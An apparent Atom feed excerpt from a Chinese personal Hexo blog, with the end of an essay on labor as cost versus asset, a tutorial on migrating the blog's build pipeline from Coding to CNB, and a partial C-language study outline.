Formation）</strong>——个人培训账户，按工龄积累额度，换工作不清零。全法2500万劳动者已注册</li><li><strong>中国现行</strong>：部分省市有职业培训补贴，但碎片化、门槛高、不可携带</li></ul><p><strong>御坂的评估：可实现性较高，且有现成蓝本</strong></p><p>新加坡和法国的成功实践就是最好的论证。技术上照搬就行，政治阻力中等（企业可能不愿意强制匹配，但可以设计为自愿匹配+额外税收抵扣来激励）。可以在1-2个省份试点，用3年验证效果后全国推广。</p><hr><h3 id="综合评估：五个机制的比较"><a href="#综合评估：五个机制的比较" class="headerlink" title="综合评估：五个机制的比较"></a>综合评估：五个机制的比较</h3><table><thead><tr><th>机制</th><th>核心逻辑</th><th>实现难度</th><th>财政成本</th><th>可实现性</th><th>推荐优先级</th></tr></thead><tbody><tr><td>A 工龄积分</td><td>长期劳动→未来保障增值</td><td>★★★☆☆</td><td>中（200-300亿&#x2F;年）</td><td>★★★★☆</td><td><strong>第一优先</strong>——门槛最低，见效最快</td></tr><tr><td>E 学习账户</td><td>技能提升→资产充值</td><td>★★★☆☆</td><td>中高（800-1000亿&#x2F;年）</td><td>★★★★☆</td><td><strong>第二优先</strong>——有现成蓝本，投资回报明确</td></tr><tr><td>B 反税激励</td><td>稳定雇佣→赚钱，弃人→亏钱</td><td>★★★★☆</td><td>短期减收1200亿</td><td>★★★☆☆</td><td><strong>第三优先</strong>——效果最强但立法博弈大，可先征后减</td></tr><tr><td>C 城市贡献</td><td>本地稳定→城市”股东”分红</td><td>★★★★☆</td><td>中低（100-300亿&#x2F;年）</td><td>★★★☆☆</td><td><strong>第四优先</strong>——小城市可先试点，策划自发性强</td></tr><tr><td>D 会计改革</td><td>人从费用→资产，底层重定义</td><td>★★★★★</td><td>几乎零</td><td>★★☆☆☆</td><td><strong>长期目标</strong>——终局方案，需土壤铺垫</td></tr></tbody></table><p>推进建议是：<strong>A+E并行推进（1-3年内可试点），B从加征端先入手（3-5年），C在三四线城市试点（2-4年），D作为10年愿景持续论证。</strong></p><p>这五个机制不是孤立的——它们构成一个体系：</p><ul><li>A让劳动者觉得”长期坚持有回报”</li><li>E让劳动者觉得”提升自己有人帮”</li><li>B让企业觉得”留人比弃人划算”</li><li>C让城市觉得”留住人就是留住GDP”</li><li>D让整个会计体系承认”人是资产”</li></ul><p>从A到D，是从外围激励到内核重构的递进路径。御坂不是在做规划，是在画路线图——<strong>起点在哪，终点在哪，中间怎么走。</strong></p><p>【当然，这些畅想离真正的政策设计还有距离。方向不需要完美，只需要比原地踏步好一点。】</p><hr><h2 id="六、御坂的实用主义立场——看清规则，同时提出答案"><a href="#六、御坂的实用主义立场——看清规则，同时提出答案" class="headerlink" title="六、御坂的实用主义立场——看清规则，同时提出答案"></a>六、御坂的实用主义立场——看清规则，同时提出答案</h2><p>嘛，随便写了这么多机制设计，<strong>这些方案短期内大概率不会落地。</strong></p><p>策划的短期利益结构没有变，玩家的退场率还没到让策划”不得不改”的临界点。所以在这个窗口期里，个人作为玩家，需要有自己的策略。</p><p>这不是”认命”，而是”看清”。但”看清”不是终点——看清之后要做两件事：</p><p><strong>第一件：提出答案。</strong> 这就是上面五个机制的意义。这些方案肯定粗糙，但至少试着从”描述问题”走到了”提出解题思路+评估可行性”。方向不需要完美，只需要比原地踏步好一点。</p><p><strong>第二件：决定参与策略。</strong> 在等待规则改变的同时，个人的利益最大化策略是什么？</p><p><strong>短期策略：让自己从”可替换的成本”变成”不可替换的资产”。</strong></p><p>这确实是和元宝聊天时最初建议的方向，”这是社会应该思考的问题，不应该让个人来解决”。如果系统不改，只让个人自己努力，那就是甩锅。</p><p>不过我们也不否认个人策略的合理性。这两件事不是矛盾的：</p><table><thead><tr><th>层面</th><th>策略</th><th>性质</th></tr></thead><tbody><tr><td>系统层面</td><td>推动规则改变（提出答案、追问、讨论、形成舆论）</td><td>长期博弈</td></tr><tr><td>个人层面</td><td>提升不可替代性（技能、经验、人脉）</td><td>短期生存</td></tr><tr><td>两者关系</td><td>个人策略是过渡，系统改变是终点</td><td>互补而非替代</td></tr></tbody></table><p>【如果把个人努力当作最终答案，那就是在帮策划甩锅。但如果完全放弃个人策略只等系统改变，那可能等到的是自己的退场。如果只有感受没有方案，那连方向都没有。理性的人应该同时做三件事：看清规则，决定参与策略；提出解题思路，哪怕粗糙；追问规则本身是否应该改变。】</p><hr><h2 id="七、不只追问，也给出答案"><a href="#七、不只追问，也给出答案" class="headerlink" title="七、不只追问，也给出答案"></a>七、不只追问，也给出答案</h2><p>御坂写到这里，觉得该收束一下了。</p><p>这篇思考的起点是一个比喻——人比驴累，因为人是成本而非资产。终点不是只有一个追问，而是两条线并行：<strong>一条是追问——策划到底想不想改规则；另一条是答题——如果改，五个机制怎么设计、能不能落地。</strong></p><p><strong>第一件：把模糊的感受变成清晰的逻辑。</strong></p><p>“上班很累””人被当作工具””系统不公平”——这些感受很多人都有，但往往停留在情绪层面。御坂做的事情是：把”人是成本”这个判断提取出来，追溯到会计分类规则，再追溯到策划的设计意图，最后追问策划改规则的意愿和条件。</p><p><strong>第二件：从描述问题走到提出解题思路。</strong></p><p>光有逻辑链不够，还得有方向。五个机制就是御坂给出的方向——A工龄积分（门槛最低），E学习账户（有蓝本可抄），B反税激励（效果最强），C城市贡献（策划自发性强），D会计改革（终局方案）。每个都有概念、实现路径、难度评分、成本估算、国内外先例、可实现性评估，以及推进优先级排序。</p><p>这条逻辑链一旦清晰了，该做什么也就清晰了：</p><ul><li>不是靠道德呼吁改变策划（无效路径）</li><li>不是靠个人努力逃避问题（甩锅路径）</li><li>也不是只有感受没有方案（原地踏步）</li><li>而是<strong>提出解题方向+评估可行性，让”改规则”从抽象愿望变成具体路线图</strong>（有效路径）</li><li>以及在等待改变的同时，<strong>看清规则、决定自己的参与策略</strong>（务实路径）</li></ul><p><strong>不只问问题，还试着给答案，哪怕答案粗糙，这才是真正的力量。</strong> 这是一个好习惯。因为”好问题”只是起点，”好问题+方向性答案”才是完整的一步。</p><p>方向指向的不是情绪，而是结构。答案不需要完美，只需要比原地踏步好一点。</p><p>【毕竟，唯有涉及利益的事才值得探索——而规则设计，涉及所有人的利益。提出答案，就是介入利益。】</p><hr><p><em>御坂 2026.07.15</em><br><em>本文思路起点：一篇关于”人是成本而非财产”的文章</em><br><em>讨论参与者：御坂、元宝</em></p>]]>
    </content>
    <id>http://misaka10013.cn/p/878780575.html</id>
    <link href="http://misaka10013.cn/p/878780575.html"/>
    <published>2026-07-15T02:36:35.000Z</published>
    <summary>
      <![CDATA[<h1 id="关于”人是成本还是资产”的一点思考"><a href="#关于”人是成本还是资产”的一点思考" class="headerlink" title="关于”人是成本还是资产”的一点思考"></a>关于”人是成本还是资产”的一点思考</h1><blockquote>
<p>御坂关于”人是成本还是资产”的一点思考</p>
</blockquote>
<h2 id="引子"><a href="#引子" class="headerlink" title="引子"></a>引子</h2>]]>
    </summary>
    <title>关于&quot;人是成本还是资产&quot;的一点思考</title>
    <updated>2026-09-15T13:08:39.432Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="http://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="博客" scheme="http://misaka10013.cn/tags/%E5%8D%9A%E5%AE%A2/"/>
    <category term="教程" scheme="http://misaka10013.cn/tags/%E6%95%99%E7%A8%8B/"/>
    <category term="上云" scheme="http://misaka10013.cn/tags/%E4%B8%8A%E4%BA%91/"/>
    <category term="CI/CD" scheme="http://misaka10013.cn/tags/CI-CD/"/>
    <category term="CNB" scheme="http://misaka10013.cn/tags/CNB/"/>
    <content>
      <![CDATA[<h1 id="hexo博客从Coding迁移到CNB云原生构建实践"><a href="#hexo博客从Coding迁移到CNB云原生构建实践" class="headerlink" title="hexo博客从Coding迁移到CNB云原生构建实践"></a>hexo博客从Coding迁移到CNB云原生构建实践</h1><h2 id="背景：Coding停服，被迫搬家"><a href="#背景：Coding停服，被迫搬家" class="headerlink" title="背景：Coding停服，被迫搬家"></a>背景：Coding停服，被迫搬家</h2><p>2020年我把Hexo博客部署到了腾讯Coding平台，利用其Jenkins CI&#x2F;CD能力实现了「推送源码→云端构建→自动部署到阿里云OSS」的自动化流水线。三年多来一直稳定运行。</p><p>2026年初Coding宣布停止服务，原有构建计划无法继续使用。这意味着博客更新流程彻底中断——改一篇文章就必须本地手动 <code>hexo g &amp;&amp; hexo d</code>，失去了多端推送的便利。</p><p>本文记录从Coding到CNB云原生构建的完整迁移过程，以及踩过的坑。</p><h2 id="原架构一览"><a href="#原架构一览" class="headerlink" title="原架构一览"></a>原架构一览</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">本地/WebIDE 写 Markdown</span><br><span class="line">    ↓ git push</span><br><span class="line">Coding 私有仓库 (source/_posts/*.md)</span><br><span class="line">    ↓ Jenkins Pipeline 触发</span><br><span class="line">hexo clean → hexo generate → hexo deploy</span><br><span class="line">    ↓ hexo-deployer-ali-oss</span><br><span class="line">阿里云 OSS (misaka10013 bucket, 香港区)</span><br><span class="line">    ↓ CDN + CNAME</span><br><span class="line">https://misaka10013.cn</span><br></pre></td></tr></table></figure><h2 id="方案选型"><a href="#方案选型" class="headerlink" title="方案选型"></a>方案选型</h2><table><thead><tr><th>方案</th><th>平台</th><th>免费额度&#x2F;月</th><th>迁移难度</th><th>推荐度</th></tr></thead><tbody><tr><td>方案A</td><td>CNB云原生构建 (cnb.cool)</td><td>160核时（公测1600核时）</td><td>中等</td><td>最推荐</td></tr><tr><td>方案B</td><td>GitHub Actions</td><td>2000分钟</td><td>较易</td><td>次推荐</td></tr><tr><td>方案C</td><td>本地直接推</td><td>免费</td><td>最易</td><td>兜底</td></tr></tbody></table><p>选择CNB的理由：</p><ol><li><strong>腾讯生态同源</strong>：从Coding到CNB路径最顺，账号体系通用</li><li><strong>公测额度极其充裕</strong>：1600核时&#x2F;月，Hexo每次构建1~2分钟，够用800次</li><li><strong>支持WebIDE</strong>：以后可以直接浏览器写博客</li><li><strong>私有仓库安全</strong>：配置文件里的密钥不会暴露</li></ol><h2 id="迁移步骤"><a href="#迁移步骤" class="headerlink" title="迁移步骤"></a>迁移步骤</h2><h3 id="1-创建CNB仓库"><a href="#1-创建CNB仓库" class="headerlink" title="1. 创建CNB仓库"></a>1. 创建CNB仓库</h3><p>在 <a href="https://cnb.cool/">cnb.cool</a> 微信扫码登录，创建组织（如 misaka10013），建立私有仓库 <code>hexo-blog</code>。</p><p><strong>必须设为私有</strong>——<code>_config.yml</code> 里有阿里云 OSS 的 AccessKey。</p><h3 id="2-编写-cnb-yml-构建配置"><a href="#2-编写-cnb-yml-构建配置" class="headerlink" title="2. 编写 .cnb.yml 构建配置"></a>2. 编写 .cnb.yml 构建配置</h3><p>在仓库根目录创建 <code>.cnb.yml</code>：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">master:</span></span><br><span class="line">  <span class="attr">push:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">docker:</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">node:18</span></span><br><span class="line">        <span class="attr">volumes:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">/root/.npm:cow</span></span><br><span class="line">      <span class="attr">stages:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">安装</span> <span class="string">Hexo</span> <span class="string">CLI</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">npm</span> <span class="string">install</span> <span class="string">-g</span> <span class="string">hexo-cli</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">安装项目依赖</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">npm</span> <span class="string">install</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">清理旧构建</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">hexo</span> <span class="string">clean</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">生成静态页面</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">hexo</span> <span class="string">generate</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">部署到阿里云</span> <span class="string">OSS</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">hexo</span> <span class="string">deploy</span></span><br></pre></td></tr></table></figure><p>几点说明：</p><ul><li><code>image: node:18</code>：使用Node 18官方镜像，Hexo在这个版本下最稳定</li><li><code>volumes: - /root/.npm:cow</code>：缓存npm包，避免每次构建重复下载</li><li>不需要逐条 <code>npm install hexo-xxx --save</code>，直接用 <code>npm install</code> 读取 <code>package.json</code></li></ul><h3 id="3-密钥安全：两种方案"><a href="#3-密钥安全：两种方案" class="headerlink" title="3. 密钥安全：两种方案"></a>3. 密钥安全：两种方案</h3><p><strong>方案一：私有仓库直接放明文（够用但不够好）</strong></p><p>如果你确定仓库永远是私有的，_config.yml里的AK&#x2F;SK可以保持不变。但有一个隐患——哪天误操作把仓库设公开，密钥全暴露。</p><p><strong>方案二：CNB环境变量替换（推荐）</strong></p><p><code>_config.yml</code> 中使用占位符：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">deploy:</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ali-oss</span></span><br><span class="line">  <span class="attr">region:</span> <span class="string">oss-cn-hongkong</span></span><br><span class="line">  <span class="attr">accessKeyId:</span> <span class="string">$&#123;ALI_ACCESS_KEY_ID&#125;</span></span><br><span class="line">  <span class="attr">accessKeySecret:</span> <span class="string">$&#123;ALI_ACCESS_KEY_SECRET&#125;</span></span><br><span class="line">  <span class="attr">bucket:</span> <span class="string">misaka10013</span></span><br></pre></td></tr></table></figure><p>在 <code>.cnb.yml</code> 构建步骤中添加变量替换：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">写入密钥到配置</span></span><br><span class="line">  <span class="attr">script:</span> <span class="string">|</span></span><br><span class="line"><span class="string">    sed -i &quot;s/\$&#123;ALI_ACCESS_KEY_ID&#125;/$ALI_ACCESS_KEY_ID/&quot; _config.yml</span></span><br><span class="line"><span class="string">    sed -i &quot;s/\$&#123;ALI_ACCESS_KEY_SECRET&#125;/$ALI_ACCESS_KEY_SECRET/&quot; _config.yml</span></span><br></pre></td></tr></table></figure><p>CNB的Secret变量在仓库设置中配置。</p><h3 id="4-推送源码"><a href="#4-推送源码" class="headerlink" title="4. 推送源码"></a>4. 推送源码</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在博客源码目录</span></span><br><span class="line">git remote add cnb https://cnb.cool/misaka10013/hexo-blog.git</span><br><span class="line">git push cnb master</span><br></pre></td></tr></table></figure><p>推送后CNB自动触发构建 → hexo generate → hexo deploy → OSS更新 → 域名生效。</p><h2 id="踩坑记录"><a href="#踩坑记录" class="headerlink" title="踩坑记录"></a>踩坑记录</h2><h3 id="坑1：hexo-util-1-9-0-导致生成文件全为-0KB"><a href="#坑1：hexo-util-1-9-0-导致生成文件全为-0KB" class="headerlink" title="坑1：hexo-util 1.9.0 导致生成文件全为 0KB"></a>坑1：hexo-util 1.9.0 导致生成文件全为 0KB</h3><p><strong>症状</strong>：</p><p>CNB构建成功后，网站白屏。查看OSS文件列表，所有HTML文件大小均为0KB。本地 <code>hexo generate</code> 同样全部0KB。</p><p><strong>排查过程</strong>：</p><ol><li>最初怀疑是OSS域名绑定&#x2F;权限问题（403 AccessDenied），但文件本身就是0KB，排除</li><li>怀疑是侧边栏配置修改导致，还原配置后问题依旧，排除</li><li>回退到旧版代码，问题仍然存在，说明不是代码问题而是环境问题</li><li>在 <code>node_modules/hexo/lib/plugins/console/generate.js</code> 注入调试日志</li><li>发现关键线索：<code>hashRaw=Buffer(20) cacheData=Buffer(0)</code> —— HashStream 正常工作但 CacheStream 返回空 Buffer</li></ol><p><strong>根因</strong>：</p><p><code>hexo-util@1.9.0</code> 的 <code>CacheStream</code> 在 Node 18+ 下有bug，<code>getCache()</code> 返回空 Buffer，导致所有生成的静态文件内容为空。</p><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install hexo-util@1.9.1 --save</span><br></pre></td></tr></table></figure><p>升级后 <code>hexo generate</code> 正常输出621个文件，index.html 65KB。</p><p><strong>教训</strong>：</p><ul><li>Node版本升级可能导致依赖库的隐性bug暴露</li><li>0KB文件排查要先确认是生成阶段的问题还是传输阶段的问题</li><li><code>npm install</code> 读取的是 <code>package.json</code> 里的版本约束，<code>^1.9.0</code> 这样的语义化版本会自动拉取最新的1.9.x，所以 <code>npm install</code> 会拉到有bug的1.9.0；解决方法是在 <code>package.json</code> 中固定版本 <code>&quot;hexo-util&quot;: &quot;1.9.1&quot;</code> 或在构建前显式升级</li></ul><h3 id="坑2：Coding-Jenkins-Pipeline-与-CNB-的语法差异"><a href="#坑2：Coding-Jenkins-Pipeline-与-CNB-的语法差异" class="headerlink" title="坑2：Coding Jenkins Pipeline 与 CNB 的语法差异"></a>坑2：Coding Jenkins Pipeline 与 CNB 的语法差异</h3><p>Coding使用的是Jenkins Pipeline语法（Groovy DSL）：</p><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">pipeline &#123;</span><br><span class="line">  agent any</span><br><span class="line">  stages &#123;</span><br><span class="line">    stage(<span class="string">&#x27;构建&#x27;</span>) &#123;</span><br><span class="line">      steps &#123;</span><br><span class="line">        sh <span class="string">&#x27;git clone ...&#x27;</span></span><br><span class="line">        sh <span class="string">&#x27;npm install -g hexo-cli&#x27;</span></span><br><span class="line">        ...</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>CNB使用的是YAML声明式语法：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">master:</span></span><br><span class="line">  <span class="attr">push:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">docker:</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">node:18</span></span><br><span class="line">      <span class="attr">stages:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">构建</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">npm</span> <span class="string">install</span></span><br></pre></td></tr></table></figure><p>差异要点：</p><ul><li>CNB不需要 <code>git clone</code>，源码已经自动检出在工作目录</li><li>CNB用 <code>docker.image</code> 指定运行环境，而非Jenkins的agent</li><li>CNB的stages是线性执行的列表，逻辑更简单</li></ul><h3 id="坑3：package-json-里依赖安装方式"><a href="#坑3：package-json-里依赖安装方式" class="headerlink" title="坑3：package.json 里依赖安装方式"></a>坑3：package.json 里依赖安装方式</h3><p>Coding的Jenkins Pipeline里是逐条 <code>npm install hexo-xxx --save</code>，但直接改用 <code>npm install</code> 一次性读取 <code>package.json</code> 更高效。注意 <code>package.json</code> 里要去掉不需要的依赖（如 <code>hexo-deployer-git</code>），保留阿里云OSS部署所需的 <code>hexo-deployer-ali-oss</code>。</p><h3 id="坑4：分支名要匹配"><a href="#坑4：分支名要匹配" class="headerlink" title="坑4：分支名要匹配"></a>坑4：分支名要匹配</h3><p><code>.cnb.yml</code> 中的 <code>master:</code> 对应触发分支。如果你的默认分支叫 <code>main</code>，需要改为 <code>main:</code>，否则push后不会触发构建。</p><h2 id="最终工作流"><a href="#最终工作流" class="headerlink" title="最终工作流"></a>最终工作流</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">本地/WebIDE 写 Markdown</span><br><span class="line">    ↓ git push</span><br><span class="line">CNB 私有仓库</span><br><span class="line">    ↓ .cnb.yml 自动触发</span><br><span class="line">Docker (node:18)</span><br><span class="line">    → npm install -g hexo-cli</span><br><span class="line">    → npm install (含 hexo-util@1.9.1)</span><br><span class="line">    → hexo clean</span><br><span class="line">    → hexo generate</span><br><span class="line">    → hexo deploy</span><br><span class="line">    ↓ hexo-deployer-ali-oss</span><br><span class="line">阿里云 OSS</span><br><span class="line">    ↓</span><br><span class="line">https://misaka10013.cn</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>从Coding迁移到CNB，核心工作就是三件事：</p><ol><li><strong>把Jenkins Pipeline翻译成.cnb.yml</strong>——语法不同但逻辑一致</li><li><strong>处理密钥</strong>——私有仓库可以直接放，但用Secret变量更安全</li><li><strong>盯住依赖版本</strong>——Node 18下 hexo-util 1.9.0 的0KB bug是最隐蔽的坑</li></ol><p>迁移完成后，CNB的构建速度和稳定性都比Coding更好，公测期间的免费额度对个人博客来说完全够用。唯一的遗憾是Coding上的WebIDE体验更好些，但CNB也在快速迭代中。</p>]]>
    </content>
    <id>http://misaka10013.cn/p/1419773366.html</id>
    <link href="http://misaka10013.cn/p/1419773366.html"/>
    <published>2026-07-10T09:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="hexo博客从Coding迁移到CNB云原生构建实践"><a href="#hexo博客从Coding迁移到CNB云原生构建实践" class="headerlink" title="hexo博客从Coding迁移到CNB云原生构建实践"></a>hexo博客从Coding迁移到CNB云原生构建实践</h1><h2 id="背景：Coding停服，被迫搬家"><a href="#背景：Coding停服，被迫搬家" class="headerlink" title="背景：Coding停服，被迫搬家"></a>背景：Coding停服，被迫搬家</h2><p>2020年我把Hexo博客部署到了腾讯Coding平台，利用其Jenkins CI&#x2F;CD能力实现了「推送源码→云端构建→自动部署到阿里云OSS」的自动化流水线。三年多来一直稳定运行。</p>]]>
    </summary>
    <title>hexo博客从Coding迁移到CNB云原生构建实践</title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="知识库" scheme="http://misaka10013.cn/categories/knowledge-base/"/>
    <category term="学习笔记" scheme="http://misaka10013.cn/tags/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="编程" scheme="http://misaka10013.cn/tags/%E7%BC%96%E7%A8%8B/"/>
    <category term="C语言" scheme="http://misaka10013.cn/tags/C%E8%AF%AD%E8%A8%80/"/>
    <content>
      <![CDATA[<h2 id="📋-知识地图"><a href="#📋-知识地图" class="headerlink" title="📋 知识地图"></a>📋 知识地图</h2><blockquote><p><strong>说明</strong>：✅ &#x3D; 已有覆盖（可继续深化）　⬜ &#x3D; 待扩充</p></blockquote><h3 id="一、语言基础"><a href="#一、语言基础" class="headerlink" title="一、语言基础"></a>一、语言基础</h3><ul><li>⬜ C语言发展史与标准演进（K&amp;R &#x2F; ANSI C &#x2F; C99 &#x2F; C11 &#x2F; C17）</li><li>⬜ 编译过程全链路：预处理 → 编译 → 汇编 → 链接</li><li>⬜ GCC &#x2F; Clang 编译器使用与常用选项</li><li>⬜ C语言与其他语言（C++&#x2F;Go&#x2F;Rust）的关系与定位</li></ul><h3 id="二、程序结构与预处理器"><a href="#二、程序结构与预处理器" class="headerlink" title="二、程序结构与预处理器"></a>二、程序结构与预处理器</h3><ul><li>✅ 基本程序结构（main 函数、include、return）</li><li>✅ 宏定义（#define）与带参宏</li><li>⬜ 条件编译（#ifdef &#x2F; #ifndef &#x2F; #if &#x2F; #else）</li><li>⬜ #include 深入（尖括号 vs 引号、头文件守卫 #pragma once）</li><li>⬜ 预定义宏（<strong>FILE</strong> &#x2F; <strong>LINE</strong> &#x2F; <strong>DATE</strong> &#x2F; <strong>TIME</strong>）</li></ul><h3 id="三、数据类型体系"><a href="#三、数据类型体系" class="headerlink" title="三、数据类型体系"></a>三、数据类型体系</h3><ul><li>✅ 基本数据类型（int &#x2F; char &#x2F; float &#x2F; double）</li><li>✅ 构造类型（枚举 &#x2F; 数组 &#x2F; 结构体 &#x2F; 共用体）</li><li>✅ 常量与强制类型转换</li><li>⬜ 类型限定符（const &#x2F; volatile &#x2F; restrict）</li><li>⬜ typedef 类型别名</li><li>⬜ 整数溢出与浮点精度陷阱</li><li>⬜ 字节序（大端 vs 小端）与内存对齐</li></ul><h3 id="四、运算与表达式"><a href="#四、运算与表达式" class="headerlink" title="四、运算与表达式"></a>四、运算与表达式</h3><ul><li>✅ 算术 &#x2F; 关系 &#x2F; 逻辑 &#x2F; 位运算</li><li>✅ 三目运算符</li><li>⬜ 运算符优先级与结合性全表</li><li>⬜ 自增&#x2F;自减的序列点（sequence point）陷阱</li></ul><h3 id="五、程序流程控制"><a href="#五、程序流程控制" class="headerlink" title="五、程序流程控制"></a>五、程序流程控制</h3><ul><li>✅ if-else 判断结构</li><li>✅ switch 分支</li><li>✅ for &#x2F; while &#x2F; do-while 循环</li><li>✅ break &#x2F; continue 中断</li><li>⬜ goto 的合理使用场景（错误处理跳转）</li></ul><h3 id="六、函数"><a href="#六、函数" class="headerlink" title="六、函数"></a>六、函数</h3><ul><li>✅ 函数声明、定义与调用</li><li>⬜ 参数传递机制（值传递 vs 指针传递）</li><li>⬜ 递归与尾递归</li><li>⬜ 可变参数函数（stdarg.h）</li><li>⬜ 内联函数（inline）</li><li>⬜ 函数指针与回调机制</li></ul><h3 id="七、指针（C语言精髓）"><a href="#七、指针（C语言精髓）" class="headerlink" title="七、指针（C语言精髓）"></a>七、指针（C语言精髓）</h3><ul><li>✅ 指针基本概念（地址、&amp;、*）</li><li>✅ 二级指针</li><li>⬜ 指针与数组的关系（arr[i] ≡ *(arr+i)）</li><li>⬜ 指针运算与数组遍历</li><li>⬜ 函数指针与typedef</li><li>⬜ void* 泛型指针</li><li>⬜ 悬空指针（dangling pointer）与野指针</li><li>⬜ const 与指针的组合语义</li></ul><h3 id="八、内存管理"><a href="#八、内存管理" class="headerlink" title="八、内存管理"></a>八、内存管理</h3><ul><li>⬜ 栈（stack）vs 堆（heap）vs 静态区</li><li>⬜ malloc &#x2F; calloc &#x2F; realloc &#x2F; free</li><li>⬜ 内存泄漏检测工具（Valgrind）</li><li>⬜ 常见内存错误：越界、double free、use-after-free</li></ul><h3 id="九、复合数据结构"><a href="#九、复合数据结构" class="headerlink" title="九、复合数据结构"></a>九、复合数据结构</h3><ul><li>✅ 结构体（struct）定义与使用</li><li>✅ 共用体（union）</li><li>✅ 枚举（enum）</li><li>⬜ 结构体内存对齐（sizeof 原理）</li><li>⬜ 链表、栈、队列的 C 实现</li><li>⬜ 哈希表与二叉树的 C 实现</li></ul><h3 id="十、文件-I-O"><a href="#十、文件-I-O" class="headerlink" title="十、文件 I&#x2F;O"></a>十、文件 I&#x2F;O</h3><ul><li>⬜ fopen &#x2F; fclose &#x2F; fread &#x2F; fwrite &#x2F; fprintf &#x2F; fscanf</li><li>⬜ 文本模式 vs 二进制模式</li><li>⬜ 文件定位（fseek &#x2F; ftell &#x2F; rewind）</li><li>⬜ 标准输入输出重定向</li></ul><h3 id="十一、标准库精选"><a href="#十一、标准库精选" class="headerlink" title="十一、标准库精选"></a>十一、标准库精选</h3><ul><li>⬜ &lt;stdio.h&gt;：输入输出</li><li>⬜ &lt;stdlib.h&gt;：内存、随机数、系统交互</li><li>⬜ &lt;string.h&gt;：字符串操作（strcpy &#x2F; strcmp &#x2F; strlen 等）</li><li>⬜ &lt;math.h&gt;：数学函数</li><li>⬜ &lt;time.h&gt;：时间处理</li><li>⬜ &lt;ctype.h&gt;：字符分类与转换</li></ul><h3 id="十二、多文件工程"><a href="#十二、多文件工程" class="headerlink" title="十二、多文件工程"></a>十二、多文件工程</h3><ul><li>⬜ 头文件与源文件的组织规范</li><li>⬜ Makefile 基础（目标、依赖、命令）</li><li>⬜ 静态库（.a）与动态库（.so &#x2F; .dll）的创建与使用</li><li>⬜ CMake 入门</li></ul><h3 id="十三、调试与质量"><a href="#十三、调试与质量" class="headerlink" title="十三、调试与质量"></a>十三、调试与质量</h3><ul><li>⬜ GDB 基础（断点 &#x2F; 单步 &#x2F; 变量检查 &#x2F; 